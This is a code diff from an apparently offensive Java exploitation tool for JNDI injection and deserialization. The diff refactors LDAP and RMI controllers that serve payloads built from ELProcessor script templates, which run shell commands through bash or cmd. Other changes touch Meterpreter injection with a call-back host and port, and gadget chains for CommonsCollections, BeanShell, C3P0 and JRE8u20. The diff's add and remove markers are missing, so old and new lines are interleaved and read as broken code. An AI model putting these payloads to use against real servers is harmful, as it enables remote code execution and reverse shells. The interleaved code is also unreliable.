Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
@@ -109,7 +67,6 @@ public class BasicController implements LdapController {
if (params.length == 0) {
throw new IncorrectParamsException("Missing command parameters.");
}
// 待写
}
if (payloadType.contains("msf")) {
@@ -118,56 +75,4 @@ public class BasicController implements LdapController {
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
}
// 读取路径中的 gadget 片段并转换为枚举值。
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
String segment = segment(base, 2);
if (segment.isEmpty()) {
return null;
}
try {
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
} catch (IllegalArgumentException ignored) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
}
}
// 根据 gadget 类型构建命令行或回连配置参数。
private String[] resolveParams(String base) throws Exception {
if (gadgetType == null) {
return new String[0];
}
switch (gadgetType) {
case base64:
String cmd = Utils.getCmdFromBase(base);
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Utils.getCmdFromBase(base);
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println(" RemoteHost: " + results[0]);
System.out.println(" RemotePort: " + results[1]);
return results;
default:
return new String[0];
}
}
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。
private String segment(String base, int index) {
return getStringQ(base, index);
}
// 返回连字符后的子串,用于解析自定义类名。
private String suffixAfterDash(String value) {
int dashIndex = value.indexOf('-');
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
}
}
@@ -1,10 +1,7 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.URLDNS;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Utils;
@@ -14,30 +11,23 @@ import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import javax.naming.StringRefAddr;
import java.lang.reflect.Field;
import java.util.Locale;
import static com.qi4l.JYso.controllers.BasicController.getStringQ;
@SuppressWarnings("unused")
@LdapMapping(uri = {"/elprocessor"})
public class ELProcessorController implements LdapController {
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
public class ELProcessorController extends BaseLdapController {
private static final String SCRIPT_TEMPLATE = "{\"\"}.getClass().forName(\"javax.script.ScriptEngineManager\")"
+ ".newInstance().getEngineByName(\"JavaScript\")"
+ ".eval(\"%s\")}";
private static final Logger log = LogManager.getLogger(ELProcessorController.class);
private String payloadType;
// 记录解析请求时提取出的命令参数或回连信息。
private String[] params = new String[0];
private GadgetType gadgetType;
// 向 LDAP 客户端返回序列化后的 ELProcessor 引用。
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
@@ -59,34 +49,19 @@ public class ELProcessorController implements LdapController {
entry.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
} catch (Exception er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
log.error("Error while generating or serializing payload", er);
}
}
// 解析请求路径,确定 payload 类型及其所需参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Reference Links + ELProcessor");
try {
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
ParseResult result = parseBase(base, "- JNDI LDAP Local Reference Links + ELProcessor");
payloadType = result.payloadType;
params = result.params;
}
// 构造注入到 ELProcessor 中的 JavaScript 代码。
private String buildPayloadScript() throws Exception {
TomcatBypassHelper helper = new TomcatBypassHelper();
String scriptBody;
@@ -107,56 +82,6 @@ public class ELProcessorController implements LdapController {
return SCRIPT_TEMPLATE.replace("%s", scriptBody.replace("\"", "\\\""));
}
// 解析路径中的 gadget 片段并转换为枚举。
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
String segment = segment(base, 2);
if (segment.isEmpty()) return null;
try {
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
} catch (IllegalArgumentException ignored) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
}
}
// 根据不同 gadget 类型构建命令参数或回连配置。
private String[] resolveParams(String base) throws Exception {
if (gadgetType == null) return new String[0];
switch (gadgetType) {
case base64:
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Utils.getCmdFromBase(base);
String decoded = Utils.base64Decode(encoded);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println("[+] RemoteHost: " + results[0]);
System.out.println("[+] RemotePort: " + results[1]);
return results;
default:
return new String[0];
}
}
// 提取路径中的第 index 个非空段,保持与原有解析方式一致。
private String segment(String base, int index) {
return getStringQ(base, index);
}
// 返回连字符后的子串,用于解析自定义类名。
private String suffixAfterDash(String value) {
int dashIndex = value.indexOf('-');
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
}
// 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑,保持主控制器简洁。
private class TomcatBypassHelper {
String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> clazz = Class.forName("com.qi4l.JYso.template.com.qi4l.JYso.template.Meterpreter");
@@ -171,17 +96,7 @@ public class ELProcessorController implements LdapController {
}
String getExecCode(String cmd) {
return "var str_s=new Array(3);\n"
+ " if(java.io.File.separator.equals('/')){\n"
+ " str_s[0]='/bin/bash';\n"
+ " str_s[1]='-c';\n"
+ " str_s[2]='" + cmd + "';\n"
+ " }else{\n"
+ " str_s[0]='cmd';\n"
+ " str_s[1]='/C';\n"
+ " str_s[2]='" + cmd + "';\n"
+ " }\n"
+ " java.lang.Runtime.getRuntime().exec(str_s);";
return BaseLdapController.getExecCode(cmd);
}
}
}
@@ -24,6 +24,7 @@ import javax.naming.StringRefAddr;
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
*/
@SuppressWarnings("unused")
@LdapMapping(uri = {"/groovy"})
public class GroovyController implements LdapController {
private String[] params;
@@ -15,6 +15,7 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@SuppressWarnings("unused")
@LdapMapping(uri = {"/memoryxxe"})
public class MemoryXXEController implements LdapController {
private String[] params;
@@ -21,6 +21,7 @@ import java.util.Base64;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
@SuppressWarnings("unused")
@LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController {
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
@@ -15,6 +15,7 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@SuppressWarnings("unused")
@LdapMapping(uri = {"/snakeyaml"})
public class SnakeYamlController implements LdapController {
private String[] params;
@@ -14,6 +14,7 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@SuppressWarnings("unused")
@LdapMapping(uri = {"/xstream"})
public class XStreamController implements LdapController {
private String[] params;
@@ -12,46 +12,34 @@ import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
@SuppressWarnings("unused")
@LdapMapping(uri = {"/jdbc1"})
public class jdbcController1 implements LdapController {
public class jdbcController1 extends BaseLdapController {
private static final Logger log = LogManager.getLogger(jdbcController1.class);
private static String driverq;
private static String factoryType;
private static String[] params;
private static GadgetType gadgetType;
public static void printResultJDBC1(String base) throws Exception {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
driverq = base.substring(fistIndex + 1, secondIndex);
driverq = segment(base, 1);
if (driverq.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base);
}
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
factoryType = segment(base, 2);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
String gadgetStr = segment(base, 3);
if (!gadgetStr.isEmpty()) {
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
gadgetType = GadgetType.valueOf(gadgetStr.toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + gadgetStr);
}
}
@@ -76,9 +64,9 @@ public class jdbcController1 implements LdapController {
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
} catch (Exception er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
log.error("Error while generating or serializing payload", er);
}
}
@@ -17,6 +17,7 @@ import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Enumeration;
@SuppressWarnings("unused")
@LdapMapping(uri = {"/jdbc2"})
public class jdbcController2 implements LdapController {
@@ -11,6 +11,7 @@ import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
@SuppressWarnings("unused")
@LdapMapping(uri = {"/ldap2rmi"})
public class ldap2rmiController implements LdapController {
@@ -1,30 +1,25 @@
package com.qi4l.JYso.controllers.rmi;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.controllers.BaseLdapController.ParseResult;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.Meterpreter;
import org.fusesource.jansi.Ansi;
import javax.naming.Reference;
import java.net.URL;
import java.util.Locale;
/**
* Build remote-loading Reference for RMI lookup path:
* basic/{payload}/{gadget}/{arg}
*/
import static com.qi4l.JYso.controllers.BaseLdapController.*;
public class Basic {
private static String payloadType;
private static String[] params = new String[0];
private static GadgetType gadgetType;
public static Reference basic(String base) throws Exception {
parse(base);
ParseResult result = parseBase(base, "- JNDI RMI Remote Reference Links ");
String payloadType = result.payloadType;
String[] params = result.params;
String className;
if (payloadType.contains("E-")) {
@@ -49,87 +44,4 @@ public class Basic {
return new Reference("Foo", className, Config.codeBase);
}
private static void parse(String base) {
System.out.println("- JNDI RMI Remote Reference Links ");
try {
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) {
throw (UnSupportedPayloadTypeException) e;
}
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
String segment = segment(base, 2);
if (segment.isEmpty()) {
return null;
}
try {
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
} catch (IllegalArgumentException ignored) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
}
}
private static String[] resolveParams(String base) throws Exception {
if (gadgetType == null) {
return new String[0];
}
switch (gadgetType) {
case base64:
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Utils.getCmdFromBase(base);
String decoded = Utils.base64Decode(encoded);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println(" RemoteHost: " + results[0]);
System.out.println(" RemotePort: " + results[1]);
return results;
default:
return new String[0];
}
}
private static String segment(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) {
nextSlash = base.length();
}
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
}
private static String suffixAfterDash(String value) {
int dashIndex = value.indexOf('-');
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
}
}
@@ -1,35 +1,31 @@
package com.qi4l.JYso.controllers.rmi;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.controllers.BaseLdapController;
import com.qi4l.JYso.controllers.BaseLdapController.ParseResult;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.Meterpreter;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import java.util.Locale;
/**
* Build local-loading ResourceRef for RMI lookup path:
* ELProcessor/{payload}/{gadget}/{arg}
*/
import static com.qi4l.JYso.controllers.BaseLdapController.*;
public class ELProcessor {
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
private static final String SCRIPT_TEMPLATE = "{\"\"}.getClass().forName(\"javax.script.ScriptEngineManager\")"
+ ".newInstance().getEngineByName(\"JavaScript\")"
+ ".eval(\"%s\")}";
private static String payloadType;
private static String[] params = new String[0];
private static GadgetType gadgetType;
public static ResourceRef refTomcatBypass(String base) throws Exception {
parse(base);
ParseResult result = parseBase(base, "- JNDI RMI Local Reference Links + ELProcessor");
payloadType = result.payloadType;
params = result.params;
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor",
@@ -45,26 +41,6 @@ public class ELProcessor {
return ref;
}
private static void parse(String base) {
System.out.println("- JNDI RMI Local Reference Links + ELProcessor");
try {
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) {
throw (UnSupportedPayloadTypeException) e;
}
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
private static String buildPayloadScript() throws Exception {
String scriptBody;
if (payloadType.contains("E-")) {
@@ -77,7 +53,7 @@ public class ELProcessor {
if (params.length == 0) {
throw new IncorrectParamsException("Missing command parameters.");
}
scriptBody = getExecCode(params[0]);
scriptBody = BaseLdapController.getExecCode(params[0]);
} else if (payloadType.contains("msf")) {
scriptBody = InjShell.injectClass(Meterpreter.class);
} else {
@@ -86,82 +62,4 @@ public class ELProcessor {
return String.format(SCRIPT_TEMPLATE, scriptBody.replace("\"", "\\\""));
}
private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
String segment = segment(base, 2);
if (segment.isEmpty()) {
return null;
}
try {
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
} catch (IllegalArgumentException ignored) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
}
}
private static String[] resolveParams(String base) throws Exception {
if (gadgetType == null) {
return new String[0];
}
switch (gadgetType) {
case base64:
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Utils.getCmdFromBase(base);
String decoded = Utils.base64Decode(encoded);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println(" RemoteHost: " + results[0]);
System.out.println(" RemotePort: " + results[1]);
return results;
default:
return new String[0];
}
}
private static String getExecCode(String cmd) {
return "var str_s=new Array(3);\n"
+ "if(java.io.File.separator.equals('/')){\n"
+ "str_s[0]='/bin/bash';\n"
+ "str_s[1]='-c';\n"
+ "str_s[2]='" + cmd + "';\n"
+ "}else{\n"
+ "str_s[0]='cmd';\n"
+ "str_s[1]='/C';\n"
+ "str_s[2]='" + cmd + "';\n"
+ "}\n"
+ "java.lang.Runtime.getRuntime().exec(str_s);";
}
private static String segment(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) {
nextSlash = base.length();
}
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
}
private static String suffixAfterDash(String value) {
int dashIndex = value.indexOf('-');
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
}
}
@@ -5,7 +5,7 @@ import bsh.XThis;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
@@ -22,7 +22,7 @@ import java.util.PriorityQueue;
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
String payload = com.qi4l.JYso.gadgets.utils.Utils.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
i.eval(payload);
@@ -4,7 +4,7 @@ import bsh.Interpreter;
import bsh.NameSpace;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.*;
import java.util.Comparator;
@@ -20,7 +20,7 @@ import java.util.PriorityQueue;
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
String payload = com.qi4l.JYso.gadgets.utils.Utils.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
@@ -4,7 +4,6 @@ import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.HexUtils;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
@@ -97,8 +96,8 @@ public class C3P04 implements ObjectPayload<Object> {
break;
case "c3p0Double":
try {
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
String hexString = HexUtils.bytesToHexString(data, data.length);
byte[] data = com.qi4l.JYso.gadgets.utils.Utils.toByteArray(Files.newInputStream(Paths.get(cmd)));
String hexString = com.qi4l.JYso.gadgets.utils.Utils.bytesToHexString(data, data.length);
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
} catch (IOException e) {
@@ -7,7 +7,7 @@ import clojure.lang.PersistentArrayMap;
import clojure.main$eval_opt;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
import java.util.HashMap;
import java.util.Map;
@@ -34,7 +34,7 @@ import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
public class Clojure implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(String command) throws Exception {
String clojurePayload = ClojureUtil.makeClojurePayload(command);
String clojurePayload = com.qi4l.JYso.gadgets.utils.Utils.makeClojurePayload(command);
Map<String, Object> fnMap = new HashMap<>();
fnMap.put("hashCode", (new core$constantly()).invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
@@ -88,7 +88,7 @@ public class JRE8u20 implements ObjectPayload<Object> {
hashsetData.addData(1.0F, true);
hashsetData.addData(2, true);
hashsetData.addData(templates);
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
TCObject proxy = com.qi4l.JYso.gadgets.utils.Utils.makeProxy(new Class[]{Map.class}, handler, ser);
hashsetData.addData(proxy);
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
@@ -1,6 +1,5 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.ByteUtil;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.Serializer;
@@ -64,9 +63,9 @@ public class JRE8u20_2 implements ObjectPayload<Object> {
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
int i = com.qi4l.JYso.gadgets.utils.Utils.getSubarrayIndex(ser, shoudReplace);
ser = com.qi4l.JYso.gadgets.utils.Utils.deleteAt(ser, i); // delete 0x78
ser = com.qi4l.JYso.gadgets.utils.Utils.deleteAt(ser, i); // delete 0x70
return ser;
}
@@ -3,7 +3,6 @@ package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.LdapServer;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import org.reflections.Reflections;
import java.lang.reflect.Modifier;
@@ -81,7 +80,7 @@ public interface ObjectPayload<T> {
public static List<String> getPayloadTableLines() {
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator());
payloadClasses.sort(new com.qi4l.JYso.gadgets.utils.Utils.ToStringComparator());
final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
@@ -89,12 +88,12 @@ public interface ObjectPayload<T> {
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
com.qi4l.JYso.gadgets.utils.Utils.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
com.qi4l.JYso.gadgets.utils.Utils.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
return StringUtil.formatTable(rows);
return com.qi4l.JYso.gadgets.utils.Utils.formatTable(rows);
}
}
}
@@ -2,7 +2,6 @@ package com.qi4l.JYso.gadgets;
import cn.hutool.core.comparator.PropertyComparator;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import com.sun.syndication.feed.impl.ObjectBean;
import org.apache.commons.beanutils.BeanComparator;
@@ -147,7 +146,7 @@ public class SignedObject implements ObjectPayload<Object> {
// CC 无数组二次反序列化
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object obj = warpWithSignedObject((Serializable) serObj);
Map<?,?> old = new HashMap<>();
Transformer invoke = new InvokerTransformer("toString", null, null);
@@ -163,7 +162,7 @@ public class SignedObject implements ObjectPayload<Object> {
// CC4 TiedMapEntry 二次反序列化
public Object getSignedObjectWithCC4(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object obj = warpWithSignedObject((Serializable) serObj);
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator<>(transformer);
@@ -175,7 +174,7 @@ public class SignedObject implements ObjectPayload<Object> {
// CB 二次反序列化
public Object getSignedObjectWithCB(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object obj = warpWithSignedObject((Serializable) serObj);
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
@@ -189,7 +188,7 @@ public class SignedObject implements ObjectPayload<Object> {
// Hibernate 二次反序列化
public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object obj = warpWithSignedObject((Serializable) serObj);
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
return Hibernate1.makeCaller(obj, getters);
}
@@ -197,7 +196,7 @@ public class SignedObject implements ObjectPayload<Object> {
// Rome 二次反序列化
public Object getSignedObjectWithRome(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object obj = warpWithSignedObject((Serializable) serObj);
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return makeMap(root, root);
@@ -206,7 +205,7 @@ public class SignedObject implements ObjectPayload<Object> {
// Spring-Core 二次反序列化
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object obj = warpWithSignedObject((Serializable) serObj);
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
@@ -219,7 +218,7 @@ public class SignedObject implements ObjectPayload<Object> {
// Rhino 二次反序列化
public Object getSignedObjectWithRhino(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object obj = warpWithSignedObject((Serializable) serObj);
ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
@@ -53,6 +53,7 @@ public @interface Authors {
String KILLER = "killer";
String UNAM4 = "Unam4";
String JIECUB3 = "jiecub3";
String JSJCW = "jsjcw";
+2 -2
View File
@@ -4,7 +4,7 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -50,7 +50,7 @@ public class cc1 implements ObjectPayload<Object> {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
